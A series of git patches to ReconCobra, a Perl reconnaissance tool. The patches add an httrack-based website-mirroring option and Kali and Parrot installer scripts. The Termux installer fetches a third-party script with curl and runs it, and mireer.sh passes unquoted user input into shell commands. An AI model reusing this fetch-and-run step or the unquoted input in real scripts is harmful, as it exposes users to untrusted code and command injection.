From c817bf68c95475526814f149f6ba27d4cbc76e51 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 29 Jun 2019 18:19:00 +0500 Subject: [PATCH 160/272] Add files via upload --- ReconCobra.pl | 32 +++++++++++++++++++++++++++++++- ReconCobraTermux.pl | 31 +++++++++++++++++++++++++++++++ installer.sh | 5 +++++ mireer.sh | 5 +++++ termuxinstaller.sh | 5 +++++ 5 files changed, 77 insertions(+), 1 deletion(-) create mode 100644 mireer.sh diff --git a/ReconCobra.pl b/ReconCobra.pl index a34e480..2134391 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -122,6 +122,7 @@ "ao|wayback=s" => \$wayback, "ap|linkfinder=s" => \$linkfinder, "aq|geotagging=s" => \$geotagging, + "as|mireer=s" => \$mireer, ); if ($help) { banner();help(); } @@ -196,6 +197,7 @@ if ($wayback) { banner();wayback(); } if ($linkfinder) { banner();linkfinder(); } if ($geotagging) { banner();geotagging(); } +if ($mireer) { banner();mireer(); } unless (@ARGV > 1) { banner();menu(); } @@ -638,6 +640,11 @@ sub help { print color("bold white"),"reconcobra -aq site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('72'),"Mirror Complete Website "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -as site.com"; + print color('bold cyan')," # \n",line_d(); } @@ -758,10 +765,10 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); - chomp($number=); if($number eq '1'){ @@ -1388,6 +1395,14 @@ sub menu { print "\n"; geotagging(); enter(); + }if($number eq '72'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mireer(); + enter(); } if($number eq '0'){ exit; @@ -3278,6 +3293,21 @@ () } +#--------------------------------------------------------------# +#72 Mirror Complete Website # +#--------------------------------------------------------------# +sub mireer() { + print item(),"Caution: Inside httrack folder, find mirrored target folder \n"; + if (system("/usr/share/ReconCobra/mireer.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mireer.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index 0a1a794..b3be517 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -122,6 +122,7 @@ "ao|wayback=s" => \$wayback, "ap|linkfinder=s" => \$linkfinder, "aq|geotagging=s" => \$geotagging, + "as|mireer=s" => \$mireer, ); if ($help) { banner();help(); } @@ -196,6 +197,7 @@ if ($wayback) { banner();wayback(); } if ($linkfinder) { banner();linkfinder(); } if ($geotagging) { banner();geotagging(); } +if ($mireer) { banner();mireer(); } unless (@ARGV > 1) { banner();menu(); } @@ -638,6 +640,12 @@ sub help { print color("bold white"),"reconcobra -aq site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('72'),"Mirror Complete Website "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -as site.com"; + print color('bold cyan')," # \n",line_d(); + } @@ -755,6 +763,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Find Link & Analyse ( local and remote ) ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('71'),"Extract Geo-Cordinates for Tracking ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('72'),"Mirror Complete Website ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1385,6 +1394,14 @@ sub menu { print "\n"; geotagging(); enter(); + }if($number eq '72'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + mireer(); + enter(); } if($number eq '0'){ exit; @@ -3274,6 +3291,20 @@ () } } +#--------------------------------------------------------------# +#72 Mirror Complete Website # +#--------------------------------------------------------------# +sub mireer() { + print item(),"Caution: Inside httrack folder, find mirrored target folder \n"; + if (system("/usr/share/ReconCobra/mireer.sh") == 0) { + print item(),"success!\n"; + } + else { + print item(),"Make mireer.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + #--------------------------------------------------------------# # Enter # diff --git a/installer.sh b/installer.sh index fdcd3ed..d19fab7 100644 --- a/installer.sh +++ b/installer.sh @@ -98,6 +98,7 @@ echo "y" | apt-get install cargo echo "y" | apt-get install python-yaml echo "y" | apt-get install hping3 echo "y" | apt-get install python3 + echo "y" | apt-get install golang echo "y" | apt-get install curl echo "y" | apt-get install nfs-common @@ -105,6 +106,10 @@ echo "y" | apt-get install smbclient echo "y" | apt-get install gem gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/xroche/httrack.git --recurse +cd httrack +./configure --prefix=$HOME/usr && make -j8 && make install +cd .. echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git diff --git a/mireer.sh b/mireer.sh new file mode 100644 index 0000000..e0665b0 --- /dev/null +++ b/mireer.sh @@ -0,0 +1,5 @@ +#!/bin/bash +echo "[ + ] Enter Target: " +read Target +cd httrack +./httrack -w $Target diff --git a/termuxinstaller.sh b/termuxinstaller.sh index bc9e363..9ae0474 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -74,6 +74,11 @@ echo "y" | apt-get install gem gem install wayback_machine_downloader echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +curl -LO https://raw.githubusercontent.com/Hax4us/httrack_In_termux/master/httrack +cd httrack +chmod u+x * +sh httrack +cd .. echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git echo "y" | git clone https://github.com/chenjj/CORScanner.git From b31cef76b8e3a069d9a6e9f0024f018cf919609c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 29 Jun 2019 18:19:18 +0500 Subject: [PATCH 161/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 6cb2656..b1bd607 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,7 @@ EULA - Runs on Termux # Kali Interface -- Software have 71 Options with full automation and powerful information gathering +- Software have 72 Options with full automation and powerful information gathering
From 177225ad732cff7f81c7bc54926b4209c4b1cce9 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 29 Jun 2019 18:24:37 +0500 Subject: [PATCH 162/272] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index b1bd607..693227b 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ EULA
- +
# In-Action From fecd09ef0d7338b8d5b57182f4ebd1fc27334ad0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 29 Jun 2019 21:57:47 +0500 Subject: [PATCH 163/272] Add files via upload --- ReconCobraTermux.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index b3be517..d3d55de 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3296,7 +3296,7 @@ () #--------------------------------------------------------------# sub mireer() { print item(),"Caution: Inside httrack folder, find mirrored target folder \n"; - if (system("/usr/share/ReconCobra/mireer.sh") == 0) { + if (system("./mireer.sh") == 0) { print item(),"success!\n"; } else { From 8ae4823f35c4aecd295a54ffc3971efe45b22a7d Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Sat, 29 Jun 2019 22:02:53 +0500 Subject: [PATCH 164/272] Add files via upload --- ReconCobra.pl | 2 +- ReconCobraTermux.pl | 2 +- mireer.sh | 8 ++++++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 2134391..98bc814 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3297,7 +3297,7 @@ () #72 Mirror Complete Website # #--------------------------------------------------------------# sub mireer() { - print item(),"Caution: Inside httrack folder, find mirrored target folder \n"; + print item(),"Caution: Find mirror_websites inside mirror_website folder\n"; if (system("/usr/share/ReconCobra/mireer.sh") == 0) { print item(),"success!\n"; } diff --git a/ReconCobraTermux.pl b/ReconCobraTermux.pl index d3d55de..255990a 100644 --- a/ReconCobraTermux.pl +++ b/ReconCobraTermux.pl @@ -3295,7 +3295,7 @@ () #72 Mirror Complete Website # #--------------------------------------------------------------# sub mireer() { - print item(),"Caution: Inside httrack folder, find mirrored target folder \n"; + print item(),"Caution: Find mirror_websites inside mirror_website folder\n"; if (system("./mireer.sh") == 0) { print item(),"success!\n"; } diff --git a/mireer.sh b/mireer.sh index e0665b0..4e7d9ff 100644 --- a/mireer.sh +++ b/mireer.sh @@ -1,5 +1,9 @@ #!/bin/bash echo "[ + ] Enter Target: " read Target -cd httrack -./httrack -w $Target +mkdir mirror_websites +cd mirror_websites +mkdir $Target +httrack -w $Target +cd .. +cd .. From 34cacd6c2b9b7a4618e5d74ea7cd37d2e7dbd76d Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:00:44 +0500 Subject: [PATCH 165/272] Add files via upload --- Kali_Installer.sh | 169 ++++++++++++++++++++++++++++++++++++++++++++ Parrot_Installer.sh | 169 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 338 insertions(+) create mode 100644 Kali_Installer.sh create mode 100644 Parrot_Installer.sh diff --git a/Kali_Installer.sh b/Kali_Installer.sh new file mode 100644 index 0000000..2e2fdea --- /dev/null +++ b/Kali_Installer.sh @@ -0,0 +1,169 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + + +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "installer.sh" "/usr/share/ReconCobra" + sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo -e "$red [$green+$red]$off Installing dependencies..." +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python2.7 +echo "y" | apt-get install python3 + +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient +echo "y" | apt-get install gem +gem install wayback_machine_downloader +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/xroche/httrack.git --recurse +cd httrack +./configure --prefix=$HOME/usr && make -j8 && make install +cd .. +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo build +cd .. +echo "y" | apt-get install nmap +pip install jsbeautifier +pip install argparse +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +sudo virtualenv --python="2" env +sudo env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh +cd .. +cd .. +chmod u+x *.sh +cp * -r /usr/share/ReconCobra + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi diff --git a/Parrot_Installer.sh b/Parrot_Installer.sh new file mode 100644 index 0000000..2e2fdea --- /dev/null +++ b/Parrot_Installer.sh @@ -0,0 +1,169 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + +#!/bin/bash + +red="\e[0;31m" +green="\e[0;32m" +off="\e[0m" + +function banner() { +clear +echo " "; +echo " "; +echo " "; +echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; +echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; +echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; +echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; +echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; +echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; +echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; +echo " Ultimate Recon and Foot Printing Software Version 1.0a "; +echo " [Coded By: Haroon Awan] "; +echo " [Contact: mrharoonawan@gmail.com] "; +echo " "; +echo " "; +echo " "; +} + +function linux() { +echo -e "$red [$green+$red]$off Installing Perl ..."; +sudo apt-get install -y perl +echo -e "$red [$green+$red]$off Installing JSON Module ..."; +cpan install JSON +echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; +echo "y" | cpan install WWW::Mechanize +echo "y" | cpan install use HTML::TokeParser +echo "y" | cpan install Term::ANSIColor +echo "y" | cpan install Mojo::DOM +echo "y" | cpan install Data::Dumper +echo "y" | cpan install Win32::Console::ANSI +echo "y" | cpan install HTML::TableExtract +echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + + +echo -e "$red [$green+$red]$off Checking directories..." +if [ -d "/usr/share/ReconCobra" ]; then + echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; + read replace + if [ "$replace" = "Y" ]; then + sudo rm -r "/usr/share/ReconCobra" + sudo rm "/usr/share/icons/ReconCobra.png" + sudo rm "/usr/share/applications/ReconCobra.desktop" + sudo rm "/usr/local/bin/ReconCobra" + +else +echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; + exit + fi +fi + +echo -e "$red [$green+$red]$off Installing ..."; +echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; +echo -e "#!/bin/bash +perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; + chmod +x "ReconCobra"; + sudo mkdir "/usr/share/ReconCobra" + sudo cp "installer.sh" "/usr/share/ReconCobra" + sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" + sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" + sudo cp "config/ReconCobra.desktop" "/usr/share/applications" + sudo cp "ReconCobra" "/usr/local/bin/" + rm "ReconCobra"; + +echo -e "$red [$green+$red]$off Installing dependencies..." +echo "y" | apt-get install xdg-utils +echo "y" | apt-get install cargo +echo "y" | apt-get install python-yaml +echo "y" | apt-get install hping3 +echo "y" | apt-get install python2.7 +echo "y" | apt-get install python3 + +echo "y" | apt-get install golang +echo "y" | apt-get install curl +echo "y" | apt-get install nfs-common +echo "y" | apt-get install smbclient +echo "y" | apt-get install gem +gem install wayback_machine_downloader +echo "y" | apt-get install perl-LWP-Protocol-https +echo "y" | git clone https://github.com/xroche/httrack.git --recurse +cd httrack +./configure --prefix=$HOME/usr && make -j8 && make install +cd .. +echo "y" | git clone https://github.com/haroonawanofficial/cobra.git +echo "y" | git clone https://github.com/haroonawanofficial/maahro.git +echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git +echo "y" | git clone https://github.com/chenjj/CORScanner.git +cd CORScanner +pip install -r requirements.txt +cd .. +echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git +echo "y" | git clone https://github.com/exiftool/exiftool.git +echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git +echo "y" | git clone https://github.com/sensepost/BiLE-suite.git +echo "y" | git clone https://github.com/haroonawanofficial/vasl.git +echo "y" | git clone https://github.com/haroonawanofficial/panthera.git +echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git +echo "y" | git clone https://github.com/heycam/json-describe +cd json-describe +cargo build +cd .. +echo "y" | apt-get install nmap +pip install jsbeautifier +pip install argparse +pip install requests +pip install request +cd SearchEngineScrapy +pip install -r requirements.txt +sudo virtualenv --python="2" env +sudo env/bin/activate +cd .. +echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git +cd EyeWitness/setup +chmod u+x setup.sh +./setup.sh +cd .. +cd .. +chmod u+x *.sh +cp * -r /usr/share/ReconCobra + +if [ -d "/usr/share/ReconCobra" ] ; +then +echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; +sleep 2; +ReconCobra +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi +} + +if [ -d "/usr/bin/" ];then +banner +echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; +linux +else +echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; + exit +fi From 748518366d0b7d066d2cbbeea24048ab8d23f8fb Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:01:55 +0500 Subject: [PATCH 166/272] Delete installer.sh --- installer.sh | 168 --------------------------------------------------- 1 file changed, 168 deletions(-) delete mode 100644 installer.sh diff --git a/installer.sh b/installer.sh deleted file mode 100644 index d19fab7..0000000 --- a/installer.sh +++ /dev/null @@ -1,168 +0,0 @@ -# *************************************************************************************** # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# Agreement between "Haroon Awan" and "You"(user). # -# ---------------------------------- EULA NOTICE ---------------------------------------- # -# 1. By using this piece of software your bound to these point. # -# 2. This an End User License Agreement (EULA) is a legal between a software application # -# author "Haroon Awan" and (YOU) user of this software. # -# 3. This software application grants users rights to use for any purpose or modify and # -# redistribute creative works. # -# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # -# what you do with by/this software as your free to use this software. # -# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # -# crime or using it in un-authorized environment. # -# 6. You can use this software to protect and secure your data information in any # -# environment. # -# 7. It can also be used in state of being protection against the unauthorized use of # -# information. # -# 8. It can be used to take measures achieve protection. # -# *************************************************************************************** # - -#!/bin/bash - -red="\e[0;31m" -green="\e[0;32m" -off="\e[0m" - -function banner() { -clear -echo " "; -echo " "; -echo " "; -echo " .########...########..######.....#######...##....##.....######.....#######....######....########......########.. "; -echo " .##.....##..##.......##....##..##.....##..###...##....##....##...##.....##...##...##...##.....##....##.....##. "; -echo " .##.....##..##.......##........##.....##..####..##....##.........##.....##...##..##....##......##...##.....##. "; -echo " .########...######...##........##.....##..##.##.##....##.........##.....##...##..##....#########....#########. "; -echo " .##...##....##.......##........##.....##..##..####....##.........##.....##...##...##...##....##.....##.....##. "; -echo " .##....##...##.......##....##..##.....##..##...###....##....##...##.....##...##...###..##.....##....##.....##. "; -echo " .##.....##..########..######....#######...##....##.....######.....#######....#######...##......##...##.....##. "; -echo " Ultimate Recon and Foot Printing Software Version 1.0a "; -echo " [Coded By: Haroon Awan] "; -echo " [Contact: mrharoonawan@gmail.com] "; -echo " "; -echo " "; -echo " "; -} - -function linux() { -echo -e "$red [$green+$red]$off Installing Perl ..."; -sudo apt-get install -y perl -echo -e "$red [$green+$red]$off Installing JSON Module ..."; -cpan install JSON -echo -e "$red [$green+$red]$off Installing Extra Perl Modules ..."; -echo "y" | cpan install WWW::Mechanize -echo "y" | cpan install use HTML::TokeParser -echo "y" | cpan install Term::ANSIColor -echo "y" | cpan install Mojo::DOM -echo "y" | cpan install Data::Dumper -echo "y" | cpan install Win32::Console::ANSI -echo "y" | cpan install HTML::TableExtract -echo "y" | cpan install Data::Validate::Domain -echo "y" | cpan install LWP::Protocol::https -echo "y" | cpan install Mozilla::CA -echo "y" | cpan install Bundle::LWP - - -echo -e "$red [$green+$red]$off Checking directories..." -if [ -d "/usr/share/ReconCobra" ]; then - echo -e "$red [$green+$red]$off A Directory ReconCobra Was Found! Do You Want To Replace It? [Y/n]:" ; - read replace - if [ "$replace" = "Y" ]; then - sudo rm -r "/usr/share/ReconCobra" - sudo rm "/usr/share/icons/ReconCobra.png" - sudo rm "/usr/share/applications/ReconCobra.desktop" - sudo rm "/usr/local/bin/ReconCobra" - -else -echo -e "$red [$green+$red]$off If You Want To Install You Must Remove Previous Installations"; - exit - fi -fi - -echo -e "$red [$green+$red]$off Installing ..."; -echo -e "$red [$green+$red]$off Creating Symbolic Link ..."; -echo -e "#!/bin/bash -perl /usr/share/ReconCobra/ReconCobra.pl" '${1+"$@"}' > "ReconCobra"; - chmod +x "ReconCobra"; - sudo mkdir "/usr/share/ReconCobra" - sudo cp "installer.sh" "/usr/share/ReconCobra" - sudo cp "ReconCobra.pl" "/usr/share/ReconCobra" - sudo cp "config/ReconCobra.jpeg" "/usr/share/icons" - sudo cp "config/ReconCobra.desktop" "/usr/share/applications" - sudo cp "ReconCobra" "/usr/local/bin/" - rm "ReconCobra"; - -echo -e "$red [$green+$red]$off Installing dependencies..." -echo "y" | apt-get install xdg-utils -echo "y" | apt-get install cargo -echo "y" | apt-get install python-yaml -echo "y" | apt-get install hping3 -echo "y" | apt-get install python3 - -echo "y" | apt-get install golang -echo "y" | apt-get install curl -echo "y" | apt-get install nfs-common -echo "y" | apt-get install smbclient -echo "y" | apt-get install gem -gem install wayback_machine_downloader -echo "y" | apt-get install perl-LWP-Protocol-https -echo "y" | git clone https://github.com/xroche/httrack.git --recurse -cd httrack -./configure --prefix=$HOME/usr && make -j8 && make install -cd .. -echo "y" | git clone https://github.com/haroonawanofficial/cobra.git -echo "y" | git clone https://github.com/haroonawanofficial/maahro.git -echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git -echo "y" | git clone https://github.com/chenjj/CORScanner.git -cd CORScanner -pip install -r requirements.txt -cd .. -echo "y" | git clone https://github.com/yassineaboukir/Asnlookup.git -echo "y" | git clone https://github.com/exiftool/exiftool.git -echo "y" | git clone https://github.com/GerbenJavado/LinkFinder.git -echo "y" | git clone https://github.com/sensepost/BiLE-suite.git -echo "y" | git clone https://github.com/haroonawanofficial/vasl.git -echo "y" | git clone https://github.com/haroonawanofficial/panthera.git -echo "y" | git clone https://github.com/naqushab/SearchEngineScrapy.git -echo "y" | git clone https://github.com/heycam/json-describe -cd json-describe -cargo build -cd .. -echo "y" | apt-get install nmap -pip install jsbeautifier -pip install argparse -pip install requests -pip install request -cd SearchEngineScrapy -pip install -r requirements.txt -sudo virtualenv --python="2" env -sudo env/bin/activate -cd .. -echo "y" | git clone https://github.com/FortyNorthSecurity/EyeWitness.git -cd EyeWitness/setup -chmod u+x setup.sh -./setup.sh -cd .. -cd .. -chmod u+x *.sh -cp * -r /usr/share/ReconCobra - -if [ -d "/usr/share/ReconCobra" ] ; -then -echo -e "$red [$green+$red]$off ReconCobra Successfully Installed, Starting"; -sleep 2; -ReconCobra -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi -} - -if [ -d "/usr/bin/" ];then -banner -echo -e "$red [$green+$red]$off ReconCobra Will Be Installed In Your System"; -linux -else -echo -e "$red [$green+$red]$off ReconCobra Cannot Be Installed. Trying using Portable Edition !"; - exit -fi From ff86faf28fccdd71fa06b2ce0158fd87bfdbc10b Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Mon, 1 Jul 2019 00:02:46 +0500 Subject: [PATCH 167/272] Update README.md --- README.md | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 693227b..d490062 100644 --- a/README.md +++ b/README.md @@ -41,7 +41,16 @@ EULA - git clone https://github.com/haroonawanofficial/Reconcobra.git - cd Reconcobra - sudo chmod u+x *.sh -- ./installer.sh 